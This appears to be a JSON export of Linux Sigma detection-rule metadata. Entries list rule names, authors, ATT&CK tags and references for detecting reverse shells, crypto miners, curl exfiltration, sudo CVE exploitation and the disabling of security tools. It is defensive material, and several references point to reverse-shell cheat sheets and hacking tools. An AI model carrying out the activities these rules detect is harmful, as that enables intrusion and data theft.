        "filename": "net_connection_lnx_crypto_mining_indicators.yml",
        "level": "high",
        "logsource.category": "network_connection",
        "logsource.product": "linux",
        "refs": [
          "https://www.poolwatch.io/coin/monero",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_crypto_mining_indicators.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1496"
        ]
      },
      "related": [
        {
          "dest-uuid": "cd25c1b4-935c-4f0e-ba8d-552f28bc4783",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "a46c93b7-55ed-4d27-a41b-c259456c4746",
      "value": "Linux Crypto Mining Pool Connections"
    },
    {
      "description": "Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/10/15",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_lnx_sudo_cve_2019_14287.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://access.redhat.com/security/cve/cve-2019-14287",
          "https://twitter.com/matthieugarin/status/1183970598210412546",
          "https://www.openwall.com/lists/oss-security/2019/10/14/1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_sudo_cve_2019_14287.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1068",
          "attack.t1548.003",
          "cve.2019.14287"
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      },
      "related": [
        {
          "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        },
        {
          "dest-uuid": "1365fe3b-0f50-455d-b4da-266ce31c23b0",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "f74107df-b6c6-4e80-bf00-4170b658162b",
      "value": "Sudo Privilege Escalation CVE-2019-14287"
    },
    {
      "description": "Detects usage of base64 utility to decode arbitrary base64-encoded text",
      "meta": {
        "author": "Daniil Yugoslavskiy, oscd.community",
        "creation_date": "2020/10/19",
        "falsepositive": [
          "Legitimate activities"
        ],
        "filename": "proc_creation_lnx_base64_decode.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_decode.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027"
        ]
      },
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        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      "value": "Decode Base64 Encoded Text"
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    {
      "description": "Detects execution of binaries located in potentially suspicious locations via \"nohup\"",
      "meta": {
        "author": "Joseliyo Sanchez, @Joseliyo_Jstnk",
        "creation_date": "2023/06/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_lnx_nohup_susp_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html",
          "https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/",
          "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection",
          "https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_nohup_susp_execution.yml"
        ],
        "tags": [
          "attack.execution"
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      "uuid": "457df417-8b9d-4912-85f3-9dbda39c3645",
      "value": "Suspicious Nohup Execution"
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      "description": "Detects the enumeration of other remote systems.",
      "meta": {
        "author": "Alejandro Ortuno, oscd.community",
        "creation_date": "2020/10/22",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_remote_system_discovery.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_remote_system_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1018"
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      },
      "related": [
        {
          "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735",
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      "uuid": "11063ec2-de63-4153-935e-b1a8b9e616f1",
      "value": "Linux Remote System Discovery"
    },
    {
      "description": "Detects disabling security tools",
      "meta": {
        "author": "Ömer Günal, Alejandro Ortuno, oscd.community",
        "creation_date": "2020/06/17",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_security_tools_disabling.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_security_tools_disabling.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "e3a8a052-111f-4606-9aee-f28ebeb76776",
      "value": "Disabling Security Tools"
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    {
      "description": "Detects execution of a the file \"execve_hijack\" which is used by the Triple Cross rootkit as a way to elevate privileges",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/05",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_lnx_triple_cross_rootkit_execve_hijack.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/src/helpers/execve_hijack.c#L275",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_triple_cross_rootkit_execve_hijack.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation"
        ]
      },
      "uuid": "0326c3c8-7803-4a0f-8c5c-368f747f7c3e",
      "value": "Triple Cross eBPF Rootkit Execve Hijack"
    },
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      "description": "Detects usage of \"vim\" and it's siblings as a GTFOBin to execute and proxy command and binary execution",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/12/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_lnx_gtfobin_vim.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://gtfobins.github.io/gtfobins/rvim/",
          "https://gtfobins.github.io/gtfobins/vim/",
          "https://gtfobins.github.io/gtfobins/vimdiff/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_gtfobin_vim.yml"
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_lnx_susp_shell_script_exec_from_susp_location.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html",
          "https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/",
          "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection",
          "https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_shell_script_exec_from_susp_location.yml"
        ],
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        ]
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      "value": "Execution Of Script Located In Potentially Suspicious Directory"
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      "description": "Detects suspicious interactive bash as a parent to rather uncommon child processes",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
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        ],
        "filename": "proc_creation_lnx_susp_interactive_bash.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "Internal Research",
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        ],
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          "attack.t1059.004",
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      "related": [
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      "meta": {
        "author": "Daniil Yugoslavskiy, oscd.community",
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        ],
        "filename": "proc_creation_lnx_file_and_directory_discovery.yml",
        "level": "informational",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md",
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        "author": "Joseliyo Sanchez, @Joseliyo_Jstnk",
        "creation_date": "2023/06/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_lnx_grep_os_arch_discovery.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://blogs.jpcert.or.jp/en/2023/05/gobrat.html",
          "https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/",
          "https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection",
          "https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection",
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        "author": "Nasreddine Bencherchali (Nextron Systems)",
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          "Unknown"
        ],
        "filename": "proc_creation_lnx_susp_find_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/SaiSathvik1/Linux-Privilege-Escalation-Notes",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_find_execution.yml"
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      "uuid": "8344c0e5-5783-47cc-9cf9-a0f7fd03e6cf",
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      "meta": {
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        "creation_date": "2021/10/15",
        "falsepositive": [
          "Legitimate usage of xclip tools."
        ],
        "filename": "proc_creation_lnx_clipboard_collection.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.packetlabs.net/posts/clipboard-data-security/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clipboard_collection.yml"
        ],
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          "attack.collection",
          "attack.t1115"
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      "related": [
        {
          "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f",
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      "description": "Detects linux package removal using builtin tools such as \"yum\", \"apt\", \"apt-get\" or \"dpkg\".",
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        "author": "Tuan Le (NCSGroup), Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Administrator or administrator scripts might delete packages for several reasons (debugging, troubleshooting)."
        ],
        "filename": "proc_creation_lnx_remove_package.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.tutorialspoint.com/how-to-install-a-software-on-linux-using-yum-command",
          "https://linuxhint.com/uninstall_yum_package/",
          "https://linuxhint.com/uninstall-debian-packages/",
          "https://sysdig.com/blog/mitre-defense-evasion-falco",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_remove_package.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070"
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      "related": [
        {
          "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      "uuid": "95d61234-7f56-465c-6f2d-b562c6fedbc4",
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      "meta": {
        "author": "Alejandro Ortuno, oscd.community",
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        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_local_account.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.001/T1087.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_local_account.yml"
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          "attack.discovery",
          "attack.t1087.001"
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          "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e",
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      "uuid": "b45e3d6f-42c6-47d8-a478-df6bd6cf534c",
      "value": "Local System Accounts Discovery - Linux"
    },
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      "description": "Detects events with patterns found in commands used for reconnaissance on linux systems",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/06/20",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_susp_recon_indicators.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/sleventyeleven/linuxprivchecker/blob/0d701080bbf92efd464e97d71a70f97c6f2cd658/linuxprivchecker.py",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_recon_indicators.yml"
        ],
        "tags": [
          "attack.reconnaissance",
          "attack.t1592.004",
          "attack.credential_access",
          "attack.t1552.001"
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      },
      "related": [
        {
          "dest-uuid": "774ad5bb-2366-4c13-a8a9-65e50b292e7c",
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          "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc",
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      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Georg Lauenstein (sure[secure])",
        "creation_date": "2023/01/03",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_lnx_susp_hktl_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/t3l3machus/Villain",
          "https://github.com/HavocFramework/Havoc",
          "https://github.com/1N3/Sn1per",
          "https://github.com/Ne0nd0g/merlin",
          "https://github.com/carlospolop/PEASS-ng",
          "https://github.com/Gui774ume/ebpfkit",
          "https://github.com/pathtofile/bad-bpf",
          "https://github.com/t3l3machus/hoaxshell",
          "https://github.com/Pennyw0rth/NetExec/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_hktl_execution.yml"
        ],
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          "attack.execution",
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      "uuid": "a015e032-146d-4717-8944-7a1884122111",
      "value": "Linux HackTool Execution"
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      "meta": {
        "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io",
        "creation_date": "2022/06/03",
        "falsepositive": [
          "Admin changing file permissions."
        ],
        "filename": "proc_creation_lnx_susp_chmod_directories.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md",
          "https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_chmod_directories.yml"
        ],
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          "attack.defense_evasion",
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      "uuid": "6419afd1-3742-47a5-a7e6-b50386cd15f8",
      "value": "Chmod Suspicious Directory"
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      "description": "Detects python spawning a pretty tty which could be indicative of potential reverse shell activity",
      "meta": {
        "author": "Nextron Systems",
        "creation_date": "2022/06/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_lnx_python_pty_spawn.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_python_pty_spawn.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
        ]
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      "related": [
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      "value": "Python Spawning Pretty TTY"
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      "description": "Detect use of iptables to flush all firewall rules, tables and chains and allow all network traffic",
      "meta": {
        "author": "Joseliyo Sanchez, @Joseliyo_Jstnk",
        "creation_date": "2023/01/18",
        "falsepositive": [
          "Network administrators"
        ],
        "filename": "proc_creation_lnx_iptables_flush_ufw.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.cyberciti.biz/tips/linux-iptables-how-to-flush-all-rules.html",
          "https://blogs.blackberry.com/",
          "https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_iptables_flush_ufw.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.004"
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      "value": "Flush Iptables Ufw Chain"
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      "description": "Detects execution of the perl binary with the \"-e\" flag and common strings related to potential reverse shell activity",
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        "author": "@d4ns4n_, Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_lnx_perl_reverse_shell.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.revshells.com/",
          "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_perl_reverse_shell.yml"
        ],
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        ]
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      "value": "Potential Perl Reverse Shell Execution"
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      "description": "Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2022-26134",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_lnx_cve_2022_26134_atlassian_confluence.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cve_2022_26134_atlassian_confluence.yml"
        ],
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          "attack.initial_access",
          "attack.execution",
          "attack.t1190",
          "attack.t1059",
          "cve.2022.26134"
        ]
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      ],
      "uuid": "7fb14105-530e-4e2e-8cfb-99f7d8700b66",
      "value": "Atlassian Confluence CVE-2022-26134"
    },
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      "meta": {
        "author": "@d4ns4n_",
        "creation_date": "2023/04/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_lnx_xterm_reverse_shell.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.revshells.com/",
          "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_xterm_reverse_shell.yml"
        ],
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          "attack.t1059"
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      },
      "related": [
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      "uuid": "4e25af4b-246d-44ea-8563-e42aacab006b",
      "value": "Potential Xterm Reverse Shell"
    },
    {
      "description": "Detects a suspicious curl process start the adds a file to a web request",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Cedric MAURUGEON (Update)",
        "creation_date": "2022/09/15",
        "falsepositive": [
          "Scripts created by developers and admins"
        ],
        "filename": "proc_creation_lnx_susp_curl_fileupload.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://twitter.com/d1r4c/status/1279042657508081664",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file",
          "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html",
          "https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76",
          "https://curl.se/docs/manpage.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_curl_fileupload.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1567",
          "attack.t1105"
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      },
      "related": [
        {
          "dest-uuid": "40597f16-0963-4249-bf4c-ac93b7fb9807",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
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      ],
      "uuid": "00b90cc1-17ec-402c-96ad-3a8117d7a582",
      "value": "Suspicious Curl File Upload - Linux"
    },
    {
      "description": "Detects execution of ruby with the \"-e\" flag and calls to \"socket\" related functions. This could be an indication of a potential attempt to setup a reverse shell",
      "meta": {
        "author": "@d4ns4n_",
        "creation_date": "2023/04/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_lnx_ruby_reverse_shell.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.revshells.com/",
          "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_ruby_reverse_shell.yml"
        ],
        "tags": [
          "attack.execution"
        ]
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      "uuid": "b8bdac18-c06e-4016-ac30-221553e74f59",
      "value": "Potential Ruby Reverse Shell"
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    {
      "description": "Detects usage of \"apt\" and \"apt-get\" as a GTFOBin to execute and proxy command and binary execution",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/12/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_lnx_gtfobin_apt.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://gtfobins.github.io/gtfobins/apt/",
          "https://gtfobins.github.io/gtfobins/apt-get/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_gtfobin_apt.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1083"
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      },
      "related": [
        {
          "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
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      "uuid": "bb382fd5-b454-47ea-a264-1828e4c766d6",
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    {
      "description": "Detects execution of the \"userdel\" binary. Which is used to delete a user account and related files. This is sometimes abused by threat actors in order to cover their tracks",
      "meta": {
        "author": "Tuan Le (NCSGroup)",
        "creation_date": "2022/12/26",
        "falsepositive": [
          "Legitimate administrator activities"
        ],
        "filename": "proc_creation_lnx_userdel.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://linux.die.net/man/8/userdel",
          "https://www.cyberciti.biz/faq/linux-remove-user-command/",
          "https://www.cybrary.it/blog/0p3n/linux-commands-used-attackers/",
          "https://linuxize.com/post/how-to-delete-group-in-linux/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_userdel.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1531"
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      },
      "related": [
        {
          "dest-uuid": "b24e2a20-3b3d-4bf0-823b-1ed765398fb0",
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          "type": "related-to"
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      ],
      "uuid": "08f26069-6f80-474b-8d1f-d971c6fedea0",
      "value": "User Has Been Deleted Via Userdel"
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    {
      "description": "Detects system information discovery commands",
      "meta": {
        "author": "Ömer Günal, oscd.community",
        "creation_date": "2020/10/08",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_system_info_discovery.yml",
        "level": "informational",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_info_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1082"
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      },
      "related": [
        {
          "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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      "uuid": "42df45e7-e6e9-43b5-8f26-bec5b39cc239",
      "value": "System Information Discovery"
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    {
      "description": "Detects execution of network scanning and reconnaisance tools. These tools can be used for the enumeration of local or remote network services for example.",
      "meta": {
        "author": "Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])",
        "creation_date": "2020/10/21",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_susp_network_utilities_execution.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md",
          "https://github.com/Tib3rius/AutoRecon",
          "https://github.com/projectdiscovery/naabu",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_network_utilities_execution.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1046"
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      },
      "related": [
        {
          "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "3e102cd9-a70d-4a7a-9508-403963092f31",
      "value": "Linux Network Service Scanning Tools Execution"
    },
    {
      "description": "Detects command line parameters or strings often used by crypto miners",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/10/26",
        "falsepositive": [
          "Legitimate use of crypto miners"
        ],
        "filename": "proc_creation_lnx_crypto_mining.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.poolwatch.io/coin/monero",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_crypto_mining.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1496"
        ]
      },
      "related": [
        {
          "dest-uuid": "cd25c1b4-935c-4f0e-ba8d-552f28bc4783",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "9069ea3c-b213-4c52-be13-86506a227ab1",
      "value": "Linux Crypto Mining Indicators"
    },
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      "description": "Detects usage of command line tools such as \"kill\", \"pkill\" or \"killall\" to terminate or signal a running process.",
      "meta": {
        "author": "Tuan Le (NCSGroup)",
        "creation_date": "2023/03/16",
        "falsepositive": [
          "Likely"
        ],
        "filename": "proc_creation_lnx_kill_process.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://www.cyberciti.biz/faq/how-force-kill-process-linux/",
          "https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_kill_process.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562"
        ]
      },
      "related": [
        {
          "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "64c41342-6b27-523b-5d3f-c265f3efcdb3",
      "value": "Terminate Linux Process Via Kill"
    },
    {
      "description": "Detects potential overwriting and deletion of a file using DD.",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC",
        "creation_date": "2021/10/15",
        "falsepositive": [
          "Any user deleting files that way."
        ],
        "filename": "proc_creation_lnx_dd_file_overwrite.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md#atomic-test-2---macoslinux---overwrite-file-with-dd",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_dd_file_overwrite.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1485"
        ]
      },
      "related": [
        {
          "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "2953194b-e33c-4859-b9e8-05948c167447",
      "value": "DD File Overwrite"
    },
    {
      "description": "Detects the creation of a new named pipe using the \"mkfifo\" utility",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/06/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_lnx_mkfifo_named_pipe_creation.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://dev.to/0xbf/use-mkfifo-to-create-named-pipe-linux-tips-5bbk",
          "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_mkfifo_named_pipe_creation.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "9d779ce8-5256-4b13-8b6f-b91c602b43f4",
      "value": "Named Pipe Created Via Mkfifo"
    },
    {
      "description": "Detects installation of suspicious packages using system installation utilities",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/03",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "proc_creation_lnx_install_suspicioua_packages.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "linux",
        "refs": [
          "https://gist.githubusercontent.com/MichaelKoczwara/12faba9c061c12b5814b711166de8c2f/raw/e2068486692897b620c25fde1ea258c8218fe3d3/history.txt",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_install_suspicioua_packages.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1553.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "c615231b-f253-4f58-9d47-d5b4cbdb6839",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "700fb7e8-2981-401c-8430-be58e189e741",
      "value": "Suspicious Package Installed - Linux"
    },
